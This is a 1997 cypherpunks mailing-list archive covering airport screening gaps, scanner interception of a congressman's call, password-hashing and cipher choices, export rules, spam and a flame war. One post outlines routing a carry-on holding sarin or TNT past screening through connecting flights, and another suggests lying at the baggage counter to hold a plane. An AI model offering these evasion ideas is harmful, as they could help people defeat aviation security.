     sites located at...

     USA Site...
     http://business.atcon.com/parker/Lee/leepsm.htm
     (this site has been unreliable lately)

     Australian Site...
     http://www.gil.com.au/comm/cdpub/money.html

     I thank you sincerely for taking the time to read this
     short email. Have a happy day.

     Happy Computing, Lee Asher.

     Email: leeasher@gil.com.au







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Wed, 15 Jan 1997 09:01:35 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: Airport security [no such thing]
Message-ID: <v02140b00af02bc97ae6a@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>Krenn wrote:
>
>> But wait - won't the all-important "did you pack your bags yourself" and
>> "did anyone give you bags to take on the plane" stop them? ;-)
>
>  If your friends or family are a little late catching the same plane as
>yourself, then just answer, "No, my son packed them."
>  This, on the average, gives your companions an extra 10-15 minutes
>to catch the plane, since regulations require them to do a complete
>check of your baggage (and they are 'supposed' to take them to a
>secure area to do so).
>  Since you are ready to board the plane they cannot legally detain
>you and let the plane go on, in order to process you and your
>baggage according to proper regulatory procedure. They must,
>instead, detain the plane.
>  They may jump up and down and tell you this is not so, but I have
>never missed a plane, and neither have most of my tardy companions.

I don't know which airlines you fly, but the ones I am familiar with ask
these questions at the baggage counter (checked luggage) and gate (carry-on
items).  Since you are supposed to be at the airport one hour before
departure, in most instances if you get to the counter or gate less than 10
minutes before take-off your reservations lapse (by Fed rules) and  are no
longer requred to board you. If they are forced to search you luggage they
will, legally, allow the plane to depart w/o you.

-- Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy Michael O'Brien" <tmo9d@virginia.edu>
Date: Wed, 15 Jan 1997 06:32:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Seen Your Post!
In-Reply-To: <199701150917.BAA18755@mailgate31>
Message-ID: <32DCEA80.41C6@virginia.edu>
MIME-Version: 1.0
Content-Type: text/plain


I Seen da light....

Tons O'Cash REAL Quick.......Mail me and I'll tell you more about how
you are going to give me all of your money and I'm going to take it away
from you.......

I resolve that all users of this list "misconfigure" thier own mailers
and give this guy a real run for his money....

Tim O'BRien

SCREW THE SPAMMER

Garry wrote:
> 
> I Seen Your Post!
> 
> I found your post in one of my favorite news groups. You might find my views
> are exactly the same. In fact my entire WebSite is right up that alley.
> Every business Opportunity listed at my sight is FREE! In fact one of the
> businesses I joined (again free) has an excellent earning potential of
> over $600 profit per YEAR, per CUSTOMER! The best part is don't do anything
> except promote the business. The company does everything for me!!! Although
> I do not have anything against MLM,  this is not!
> 
> In order to even notice this biz you have to look up in the top window frame
> of my site as its loading the image (read the text).
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Bostick <abostick@netcom.com>
Date: Wed, 15 Jan 1997 09:42:43 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Airport security [no such thing]
In-Reply-To: <3.0.32.19970114222343.006b6f9c@192.100.81.126>
Message-ID: <Pine.3.89.9701150911.A2696-0100000@netcom22>
MIME-Version: 1.0
Content-Type: text/plain




On Tue, 14 Jan 1997, Lucky Green wrote:

> I recently took a domestic flight from the Oakland, CA airport. While
> waiting for the airplane, I spent some time observing the security measures
> at the X-ray machine.

[snip]

> Then came the big one: A man wearing a beer truck driver uniform approached
> the checkpoint. On his hand truck were two kegs of beer. For those
> unfamiliar with such objects, a keg of beer is a cylindrical stainless
> steel container, about 1.5 feet tall with about 1 foot diameter.
> 
> I was wondering what the procedure for handling these rather large steel
> containers would be.  Would they be X-rayed? How much shielding would the
> steel provide for the contents? Much to my surprise, the man did not
> approach the X-ray machine. Instead, he went straight for the "exit only"
> walkway. The guard posted there to make sure that nobody would enter
> through the exit gave the fellow only a cursory glance as he entered the
> "secure" area unchallenged.
> 
> I was flabbergasted. They let a man with two *large steel containers* enter
> unchecked? No asking for ID, no X-ray? I struck up a conversation with the
> beer truck driver. I asked him why the kegs did not get X-rayed. He looked
> at me with an expression of utter lack of understanding and answered: "They
> are too heavy to be put on the [conveyor] belt."
> 
> Right... We wouldn't want to have these 50 pound steel barrels jam the
> X-ray machine.

Was he wearing a ID badge with a photo?  Was he known to the security
staff?

One wonders, do they x-ray or inspect the food that goes to the 
snack bars, the liquor that goes to the bars, the merchandise that goes 
to the newsstands and gift shops?  Do they even inspect the hand baggage
of flight crews?

It isn't that airport security is lax; it's that providing security runs
at cross-purposes with providing access for the general traveling public 
and the services they expect.

Alan Bostick               | To achieve harmony in bad taste is the height
mailto:abostick@netcom.com | of elegance.
news:alt.grelb             |      Jean Genet
http://www.alumni.caltech.edu/~abostick





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 15 Jan 1997 09:51:42 -0800 (PST)
To: Alan Bostick <abostick@netcom.com>
Subject: Re: Airport security [no such thing]
Message-ID: <3.0.32.19970115095215.006cff28@192.100.81.126>
MIME-Version: 1.0
Content-Type: text/plain


At 09:42 AM 1/15/97 -0800, Alan Bostick wrote:
>Was he wearing a ID badge with a photo?  Was he known to the security
>staff?

I would assume the staff knew the person. But that's not the point. The
beer delivery man could hardly know what was in the kegs. The kegs might
have been switched beforehand. In the warehouse, at a previous stop, etc.
An attacker might have to replace several kegs, to make sure that at least
one altered keg makes it inside the "secure" area. This can be done quite
easily.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ed.falk@Eng.Sun.COM (Ed Falk)
Date: Wed, 15 Jan 1997 10:10:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
Message-ID: <199701151808.KAA29336@peregrine.eng.sun.com>
MIME-Version: 1.0
Content-Type: text/plain



> As most readers probably know, laptops are often subject to manual
> scrutiny. From my non-representative sample, about four out of five tote
> bags clearly containing laptops will be manually searched. Typically, the
> attendant requires that the laptop is powered up. In none of the 20+ manual
> searches I witnessed did the security personnel wait past the RAM check
> before clearing the passenger. I could not help but contemplate how much of
> the insides of the laptop could be replaced while still obtaining an
> identical display.

Almost all of them.  I saw the keyboard of an IBM thinkpad flipped up
at a party the other day and was flabbergasted.  It's all empty space!
You can add & remove innards all you want.  Disk drives, batteries, etc.
are all removable.  The actual computer itself is so tiny I couldn't
believe it.  You could pull out the CD-rom, floppy disk, spare battery, etc.
and have a nearly empty box that still runs windows and unix.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amanda@intercon.com (Amanda Walker)
Date: Wed, 15 Jan 1997 07:41:47 -0800 (PST)
To: markm@voicenet.com>
Subject: Re: Hi again, and an invitation to kibitz
Message-ID: <199701151541.KAA26095@mail.intercon.com>
MIME-Version: 1.0
Content-Type: text/plain


> > (b) Client sends Microsoft NT authentication response to the server
> >     (take the password in Unicode form, do an MD4 hash, pad with 0s to 21
> >     bytes, split into 3 7-byte groups, use these as DES keys to encrypt
> >     the challenge three times, send the 24-byte result as the response).
> 
> I think this can be strengthened in a few ways.  The third DES key generated
> using this technique has an effective keylength of 16 bits.

Correct.   This is the reason I've been thinking of switching to SHA-1,
which gives a 20-byte hash (leaving only one byte of zeros, which can
be filled in with some function of the other 20 bytes to arrive at 21 bytes).
I haven't found any hole opened by exposing the last two bytes of the MD4
hash, but it's the piece I'm most worried about just on general principles
(never expose more than you have to :)).  I'm currently using the NT
algorithm simply because I had it around and needed to get a demo working
for the show.  We're not tied to using it, although it would be useful
if we end up doing an NT version of the server (since NT stores the MD4
hashes of passwords, not the plaintext).

> I believe the D-H patent expires sometime in September or October this year.

Yup.  April was wishful thinking on my part; we won't adopt D-H until the
patent expires.

> Any unbroken cipher with a keyspace larger than that of DES would be better.

Yup.  I started with vanilla DES because I was worried about speed, but
as it turns out the cipher step has a negligible impact on performance.
I'm considering DES-EDE (the easy option), Blowfish (also pretty easy),
or the DES variant Bruce Schneier describes in Applied Cryptography, 2nd ed.
(the one with independent subkeys).  So far, DES-EDE and Blowfish are the
front runners, since they're the ones that have been poked at the most.
DES-EDE has the advantage that more people know what DES is (the "buzzword
compliance" factor).  I'm not inclined to make the cipher a user-configurable
option unless customers demand it, just to keep the user interface as simple
as humanly possible.


Amanda Walker
InterCon Systems Corporation




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: proff@suburbia.net
Date: Tue, 14 Jan 1997 15:57:02 -0800 (PST)
To: nelson@media.mit.edu (Nelson Minar)
Subject: Re: New US regs ban downloadable data-security software
In-Reply-To: <cpag204huqp.fsf@hattrick.media.mit.edu>
Message-ID: <19970114235303.6177.qmail@suburbia.net>
MIME-Version: 1.0
Content-Type: text/plain


> shamrock@netcom.com (Lucky Green) writes:
> > Commercial data security software of any kind, regardless if it uses crypto
> > or not, is however prohibited from being distributed via the Internet or
> > being exported by any other means.
> 
> I can at least vaguely understand the rationale behind restricting the
> export of cryptography. But I don't even begin to comprehend
> restricting the export of data security software. What is going on
> here? Whose idea is this, what is the agenda?
> 

If you read ITAR you will see that State explicity bans export of any
operating system with a security rating of B2 or above.

The adgenda is pretty obvious.

Cheers,
Julian <proff@iq.org>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 15 Jan 1997 10:55:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Seen Your Post!
Message-ID: <199701151855.KAA26449@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:17 AM 1/15/97 -0800, Garry wrote:
>I Seen Your Post!
>
>I found your post in one of my favorite news groups. You might find my views
>are exactly the same. In fact my entire WebSite is right up that alley.
>Every business Opportunity listed at my sight is FREE! In fact one of the
>businesses I joined (again free) has an excellent earning potential of
>over $600 profit per YEAR, per CUSTOMER! The best part is don't do anything
>except promote the business. The company does everything for me!!! Although
>I do not have anything against MLM,  this is not!

Anyone else ever listen to Paul Harvey?  Anyone else know what it is like to
realize that you are listening to an ad halfway through the ad?  I hope that
our moderator will judge posts on the total content, otherwise insidious
little posts like this one may slip through.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 15 Jan 1997 10:57:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
Message-ID: <199701151855.KAA26454@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:42 PM 1/14/97 -0800, Bill Stewart wrote:
>At 10:23 PM 1/14/97 -0800, Lucky Green wrote:
>>As most readers probably know, laptops are often subject to manual
>>scrutiny. From my non-representative sample, about four out of five tote
>>bags clearly containing laptops will be manually searched. 
>
>It's extremely airport, guard, and moon-phase dependent.
>Some places are real picky, some aren't.  I've started following
>someone's advice about having the laptop go through vertically;
>it doesn't look like a big opaque block to them, and they can see
>the rest of the stuff.  When I tried it in Orlando, they said
>"It has to go through lying down", ran it back through lying down,
>said "Computer", I said "Yup", and they handed it to me :-)

So, to successfully place a "package" on an international flight, take a
connecting flight that hooks up at the same terminal.  Go to your local "has
no x-ray, doing well to have a metal detector" airstrip and take a flight on
one of the commuter flights such as Eagle, (this way you might be lucky
enough to enter the next, probably major airport, in the same terminal as
some international flights.)  Now, its presumed that you have already been
searched at your last stop because you're already in the secured area.

Such a plan would require multiple stops and homework into the layout of the
airports (to know which airlines share the same terminals).

Also, the bag would have to be a carry-on, otherwise the dogs would get it.

BTW, the package could be just about anything, including chemicals, sarin,
TNT, artifacts, human tissue, or anything else with export controls and
being a physical substance.

This post is not meant to suggest ways of breaking state, federal, or
international laws.  Merely to point out the weaknesses of the system as it
stands.  If the airport network was a computer network, it would be
compromized inside of 48 hours.  All because the level of trust between
airports defaults to full.

Correct me if I'm wrong.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: varange@crl.com (Troy Varange)
Date: Wed, 15 Jan 1997 11:40:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dick Graves continues his DOS attack
In-Reply-To: <5bi90n$dr5@Networking.Stanford.EDU>
Message-ID: <Love@147375>
MIME-Version: 1.0
Content-Type: text/plain


Subject: Dick Graves continues his DOS attack

> The appended messages from Howard Goldstein
> <hgoldste@bbs.mpcs.com>, Stan Kalisch III <sjkiii@crl.com>,
> Chris Lewis <clewis@ferret.ocunix.on.ca>, Eric Bohlman
> <ebohlman@netcom.com>, trebor@sirius.com, Dave the
> Resurrector, and myself below show why Dave Harman,
> formerly qut@netcom.com and an572010@anon.penet.fi, now
> varange@crl.com, has targeted us. While the deranged varange
> may occasionally sound superficially plausible, his record
> is quite clear. Apologies for the length, but I figure it's
> better to have this all in one place. This article is also
> saved at http://www-leland.stanford.edu/~llurch/skipsummary

This article will be saved to
http://www.crl.com/~varange/netabuse/ or the NET ABUSE -
FALSE COMPLAINTS category of my index.html.

> Since abuse@crl.com just goes to /dev/null, I'd appreciate it if
> some CRL user could confirm, as three different CRL users did
> a month ago in response to a rash of forged usenet postings
> in October (I'm appending two posts on that topic below),
> that the only account logged on to the given machines at the
> time of every incident of forged net abuse was varange@crl.com.

Six weeks or so is all the public access there is to the wtmp
file; ask Sandy or Stan if you don't know how to read it from
your own CRL account.  (How conveniant of you to accuse me of
the repulsive "Mark Wehal(sp?)" forgery past the date it can be
easily verified; why should the CRL admins drag out their backup
tapes on the account of your spurious allegations?  Anyone who
checked up Dejanews on "Mark Wehal" could have seen that some
user had forged his name as revenge spam against "Mark Wehal's"
offensive under 18 style sex spam in a few exceedingly odd
choice of newgroups, alas, "Mark Wehal" never complained about
the forgery and an unknown user may have been the instigator
of a business prank against a ligitimate electronics firm
whose street address was listed in the original sex spam.)

>  crl6  Wed, 8 Jan 1997 01:14:26 -0800
>  crl6  Wed, 8 Jan 1997 01:07:02 -0800
>  crl11 Sun, 8 Dec 1996 02:22:59 -0800
>  crl6  Tue, 24 Dec 1996 17:10:58 -0800

Or check the Here: line of my posts for better readability
than the additional standard Date: line.

> Forged email headers follow. The full 750K text of the
> unwanted harassing email, of which I received several copies,
> is at http://www-leland.stanford.edu/~llurch/skipbomb2
> and skipbomb3. I'm sure more people besides Gord McFee
> and I received copies; maybe everyone on his targets list,
> ftp://ftp.netcom.com/pub/qu/qut/misc/address
> 
> Personally, I think nine months of this bullshit is more than
> enough. If CRL sees no problem with this, then I don't believe
> CRL should be allowed access to our network.

"Our?"  Are you allowed to abuse the Stanford network because
you are a user, employee, or the actual admin?

If Graves is the actual admin, or is allowed to act like one,
then bona fide complaints about users conduct on the Stanford
network can't be sent directly via e-mail; send a registered
letter/return receipt to whomever is responsible (who?)

I read his post as a threat to the Stanford network.


Bogus complaints and forged posts from everyone under the sun:
----------------------------------------------------------------------
[deleted]  Full article referred by myself to my web page:

http://www.crl.com/~varange/netabuse/

-- 
Cheers!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Wed, 15 Jan 1997 08:46:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
Message-ID: <199701151646.IAA23007@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> Date:          Wed, 15 Jan 1997 07:59:24 -0800 (PST)
> From:          Brian Lane <nexus@eskimo.com>
> To:            Eric Murray <ericm@lne.com>
> Cc:            cypherpunks@toad.com
> Subject:       Re: Newt's phone calls

> On Tue, 14 Jan 1997, Eric Murray wrote:
> 
> > Clay Olbon II writes:
> > > 
> > > The congressman (Boehner? from Ohio) whose cellphone was "eavesdropped"
> > > stated today that he was parked in the lot of a Waffle House in Lake City
> > > FL.  The couple said that they just happened to be driving by when they
> > > overheard and began taping the conversation.
> > 
> > Interesting.  In California, operating a scanner while driving is illegal.
> > Of course it was probably the passenger running the scanner.
> 
>   Actually in Florida its illegal to even have a scanner in your car!
> These folks have broken several state and federal laws, as well as the
> congressman who leaked it to the newspapers instead of turning it over to
> the head of the Ethics committe as he should have. Everyone involved here
> is, or should be, in deep yogurt.
> 
>   I don't like the laws they passed, but since they passed them I want to
> see them enforce them to the full extent posible. Then maybe people will
> start to wonder why the transmission wasn't encrypted. Which also leads to
> another question. How much information is in the clear from congressmen
> and government employees who are clueless about the security of their
> cellphones, cordless phones, etc?

>   Brian

I don't know about Florida, but in most states with 
anti-scanner-in-car bans, there's an exception for
FCC licensed Amateur Radio Operators (aka 'hams').

Peter Trei
N1MNV

trei@process.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: usteam1@tech-center.com
Date: Wed, 15 Jan 1997 08:56:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: auto-reply to your request...
Message-ID: <199701151656.LAA16713@dub-mail-svc-1.compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


>Recently  this  E-mail  address was provided to one of our sites
>autoresponders  and  activated  this  auto  reply.   In  order  to   
>accurately provide you with the correct information we need you 
>to help us by specifying  what information you were interested in. 
>Below you will find  seven(7) items  to  select from. Please select 
>which choice(s) match your needs and type its keyword in either
> the subject  area  or  the  message  area  of  your  reply  to us at:  
>>>>    usteam@tech-center.com      (***Note:  If you need to 
>choose  more than one(1) keyword,   please use a separate line 
>for each  keyword you choose).    Thank You for your request!                
>...........................................................................................................
>                                                                    
>  (1)                    Keyword:  INFO-ALL              
>*Obtain Information on ALL selections/software/ services 
> offered below (on choices #2 thru #6).         
>
>  (2)                    Keyword:  FREE-EMAIL          
>*How To get this FREE software,for your home or  business,
> No Internet access needed.   It's 100% FREE!  
>
>  (3)                     Keyword:  FREE-PAGER         
>*How  you  can  obtain  one  or  more  Pagers  FREE  for 
> your  personal  or  business  use.              
>
>  (4)                      Keyword:  PAGER-BIZ              
>*How  You  Can  Get  PAID  To  Give  Away  FREE  PAGERS.
> 10% of the monthly paging service fees for the life of the customers.
> 
>  (5)                       Keyword:  LONG-DISTANCE  
>*How you can  SAVE  $$$  on your home or business Long Distance 
> with a FLAT RATE per minute plan (Average Savings $120 Annually
> for residential customers). Also info on  Unlimited Internet Access for
> (home & business) for One Low FLAT RATE. (Business Internet has 
> FREE 5 MB file space for your Web Site,  150  word  classified  ad, 
> listing in all major search engines & more);  cellular;   Pre-paid calling 
> cards & other telecommunication products & services.   
>
>  (6)                         Keyword:  TELECOM-BIZ       
>*How To Get PAID To 10% of  EACH Customers Long Distance bill, 
> Internet services  &  All  Telecom products/services,  you refer &  they   
> refer (NO Limits!)  (FREE to become  a marketer  and/ or a customer).                             
>  
>  (7)                          Keyword:  REMOVE                
>*If we've responded to  an  Incorrect  E-mail address, due to a typing 
> error, which occurs  by the requesting party; or  you've changed  your 
> mind & do not want our  FREE  Information,  we  will  Remove  &  
> unsubscribe  you  from our database;  Nothing further is sent to you.     
>
>End message<
                   
                   
 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: michael.tighe@Central.Sun.COM (Michael Tighe SUN IMP)
Date: Wed, 15 Jan 1997 11:03:08 -0800 (PST)
To: abostick@netcom.com (Alan Bostick)
Subject: Re: Newt's phone calls
In-Reply-To: <Pine.3.89.9701141425.A3919-0100000@netcom18>
Message-ID: <199701151811.MAA11019@dallas2.Central.Sun.COM>
MIME-Version: 1.0
Content-Type: text


Alan Bostick writes:

>It is also possible that somewhere in the chain of information between
>mom&pop, the media, and us, the distinction between "cordless phone"
>and cellular phone.  I gather it was a conference call that was 
>intercepted.  All it takes is one participant using a cordless phone in 
>range of one scanner, and the whole conversation is compromised.

Yes, a conference call (and we do know there were multiple participants)
over a cordless makes sense.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Wed, 15 Jan 1997 14:17:02 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: Re: Seen Your Post!
In-Reply-To: <199701151855.KAA26449@toad.com>
Message-ID: <Pine.SUN.3.91.970115140535.6353A-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Wed, 15 Jan 1997, Sean Roach wrote:

> At 01:17 AM 1/15/97 -0800, Garry wrote:
> >I Seen Your Post!
> >...

> I hope that our moderator will judge posts on the total content,
> otherwise insidious little posts like this one may slip through.

I caught that one.  I'm sure some will slip through from time to
time though.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 15 Jan 1997 08:46:28 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
Message-ID: <853345825.97642.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



 
> And how come Paul didn't use the word "fuck" in every paragraph, the way
> he usually does?

I suppose you want a special censored list where everyone who uses 
the word "fuck" in relation to your good self or any other member of 
this list you agree with has their posting cut?

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 15 Jan 1997 17:01:41 -0800 (PST)
To: aburner@erols.com
Subject: Re: Erols again...
In-Reply-To: <9701151709.AA02469@gypsy.seas.gwu.edu>
Message-ID: <32DD754A.64F7@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Afterburner wrote: 

>         In other news, abuse@erols.com is no longer pulling this list, so
> you're safe from further canned responses from that address.  Sadly, it
> wasn't an autoresponder.  It was a real-live human being sending out
> canned responses that had been written by the PREVIOUS abuse@erols.com
> person. 

  It has finally happened--the machines have taken over.
  Now, the machines will lie on the beach in Hawaii while the humans
do all of the mindless grunt-work.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lone_Wolf <gt6511a@cad.gatech.edu>
Date: Wed, 15 Jan 1997 13:28:54 -0800 (PST)
To: abostick@netcom.com (Alan Bostick)
Subject: Re: Airport security [no such thing]
In-Reply-To: <Pine.3.89.9701150911.A2696-0100000@netcom22>
Message-ID: <199701152127.QAA26105@gypsy.cad.gatech.edu>
MIME-Version: 1.0
Content-Type: text/plain


# On Tue, 14 Jan 1997, Lucky Green wrote:
# 
# > I recently took a domestic flight from the Oakland, CA airport. While
# > waiting for the airplane, I spent some time observing the security measures
# > at the X-ray machine.
# 
# [snip]
<snip>
# 
# > I was flabbergasted. They let a man with two *large steel containers* enter
# > unchecked? No asking for ID, no X-ray? I struck up a conversation with the
# > beer truck driver. I asked him why the kegs did not get X-rayed. He looked
# > at me with an expression of utter lack of understanding and answered: "They
# > are too heavy to be put on the [conveyor] belt."
# > 
# > Right... We wouldn't want to have these 50 pound steel barrels jam the
# > X-ray machine.
# 
# Was he wearing a ID badge with a photo?  Was he known to the security
# staff?

So?  Anybody in computer security knows that many of the biggest security
threats are within the organization.  Hell, the cops in NYC were going nuts
a few months back because a delivery driver made off with an entire shipment
of handguns, and sold most of them on the street before being caught.  Given,
his alleged past history was such that he likely wouldn't pass the background
check for secure-area access of an airport, but there's still holes.  I remember
being warned back in my armed-security to get through college days that the
gate I was guarding was considered part of the "secure" zone of the airport 
(runway extension, I was verifying ID cards on heavy equipment drivers as
they drove in and out), so I needed to make sure I didn't have any weapons (or
at least not visible) because the airport cops would go nuts if they saw any.
Note:  I accessed this area with NO check of me or my vehicle (what prompted
the warning was the construction boss who had contracted with my company 
noticed my holster), and the security company I worked for had never asked me
for enough personal data to do a full background check.
# 
# One wonders, do they x-ray or inspect the food that goes to the 
# snack bars, the liquor that goes to the bars, the merchandise that goes 
# to the newsstands and gift shops?  Do they even inspect the hand baggage
# of flight crews?

Depends on the airport.  Back in October, I witnessed a pilot annoyed that his
hand luggage was being inspected at Hartsfield Int'l in Atlanta.
# 
# It isn't that airport security is lax; it's that providing security runs
# at cross-purposes with providing access for the general traveling public 
# and the services they expect.

Only partially.  A BIG factor in security problems at US airports is low pay,
poor training, and few incentives for the airport security personnel.  Most
physical security jobs of any sort are not much more than minimum pay, and even
supervisors are poorly paid.  As a result, few quality people are in the least
bit interested in working security.  Those that do often don't get the full
training to do their job.  Police work faces many of the same factors, but
security work is just about always rated lower socially/professionally than
police work, and police work offers more individual challenges and peer support
(not all of the forms of peer support are good for society, and the level of
challenge can present their own problems, but that's another issue).

James

# 
# Alan Bostick               | To achieve harmony in bad taste is the height
# mailto:abostick@netcom.com | of elegance.
# news:alt.grelb             |      Jean Genet
# http://www.alumni.caltech.edu/~abostick
# 
# 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 15 Jan 1997 17:01:51 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: Airport security [no such thing]
In-Reply-To: <v02140b00af02bc97ae6a@[10.0.2.15]>
Message-ID: <32DD7B67.3D7F@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Steve Schear wrote:
> 
> >  If your friends or family are a little late catching the same plane as
> >yourself, then just answer, "No, my son packed them."
> >  This, on the average, gives your companions an extra 10-15 minutes
> >to catch the plane, since regulations require them to do a complete
> >check of your baggage (and they are 'supposed' to take them to a
> >secure area to do so).

Steve,
  If you still have the original of this message, could you forward a
copy
to me, as I would like to check the original headers on it.
Thanks,
 Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frogfarm@yakko.cs.wmich.edu (Damaged Justice)
Date: Wed, 15 Jan 1997 13:57:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: (fwd) MISC> ISPs to be hit with fees
Message-ID: <199701152157.QAA29314@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain


Path: wmich-news!gumby!newsxfer.itd.umich.edu!ncar!newsxfer.itd.umich.edu!newsxfer3.itd.umich.edu!howland.erols.net!feed1.news.erols.com!arclight.uoregon.edu!mr.net!news.mid.net!news.mid.net!not-for-mail
From: Gleason Sackman <gleason@rrnet.com>
Newsgroups: comp.internet.net-happenings
Subject: MISC> ISPs to be hit with fees
Date: 13 Jan 1997 09:29:05 -0600
Organization: Global Internet, Peace of Mind is finally Online!
Lines: 80
Sender: infoserv@news.mid.net
Approved: ralphie
Message-ID: <5bdkc1$bie@shocker.gi.net>
NNTP-Posting-Host: shocker.gi.net

Date:         Mon, 13 Jan 1997 08:49:16 -0600
From: The CyberTracker <JAX@CyberTracker.com>
Subject:      ISPs to be hit with fees
To: NETTRAIN@LISTSERV.ACSU.BUFFALO.EDU


ISPs to be hit with fees
By CNET STAFF
January 10, 1997, 6:45 p.m. PT

The cost of getting online looks like it's going up again.

Network Solutions, the InterNIC subcontractor that assigns Internet domain
names for a fee, has proposed tacking on more fees to the numeric addresses
behind those names, addresses that are now free.

For example, the domain name "cnet.com" masks a numeric Internet Protocol
address. The domain name system makes it simpler to send email or locate a
Web site by name, rather than by a number up to 12 digits long, such as
198.41.0.52.

Under Network Solutions' plan, a new nonprofit organization called the
American Registry for Internet Numbers would replace the
government-subsidized InterNIC IP group. North American ISPs would be hit
with fees ranging from $2,500 up to $20,000 for blocks of IP numbers that
they now receive for free and parcel out to their users.

The plan would not affect individual users unless the ISPs chose to pass
along the additional costs. But nonprofits, free community networks, and
others that do not charge for Internet access would have to pay. "They all
have operational fees today," said Jon Postel, head of the Internet
Assigned Numbers Authority (IANA), which oversees all three of the world's
Internet number assigning authorities, including the InterNIC IP group.
"It's just another operational expense."

It is the IANA as well as the National Science Foundation that would have
to approve Network Solutions' plan before it would go into effect.

The proposal is not clear about how the registry would spend the thousands
and possibly millions of dollars it would take in each year if the plan
goes through. The proposal did say that the executive director, chosen by
the board of trustees, would receive a salary determined by the board.

Network Solutions' representatives could not be reached for comment. But
IANA's Postel says that Net addresses must be treated like the airwaves.

"Address space is a kind of a public resource like the airwaves," he said.
"There are certain bands set aside for CB radio, but if you want to be a
powerful radio station, you have to go through a much more complicated
licensing procedure."

But unlike the airwaves, Internet address space is public resource that is
parceled out without any governmental oversight, whereas the Federal
Communications Commission oversees spectrum allocation.

Postel thinks the lack of such oversight is a good thing. "You think about
the FCC procedures and how long it takes to get a decision out of them on
anything," Postel said. "I'm not sure you'd want them involved."

Only companies and individuals capable of paying a $1,000 per year in fees
will be allowed to participate in forming American Registry's policies. By
contrast, any U.S. citizen has the right to file comments with the FCC
about communications policies.

The American Registry's five-member board of trustees would be initially
selected by Network Solutions. Future boards would in their turn be
selected by the board that Network Solutions had picked, giving the private
company an unprecedented influence over the assignment of increasingly
scarce IP numbers. The IP numbering system is reaching its limits and plans
are currently being considered to extend it.
**********************************************************************
* Jackson K. Windham              * CyberTracker Consulting Services *
* JAX@CyberTracker.com            * Internet Consultant / Trainer    *
* ACE INTERNET CLUB - President   * Http://www.CyberTracker.com      *
**********************************************************************
*** Member of HTML Instructors Association and HTML Writer's Guild ***
******* May the Best of your Past, Be the Worst of your Future *******
**********************************************************************



-- 
frogfarm@yakko.cs.wmich.edu (Damaged Justice) is officially declared Unmutual
   s..O).... The smurf wields a hypodermic! -- More --    I like women who
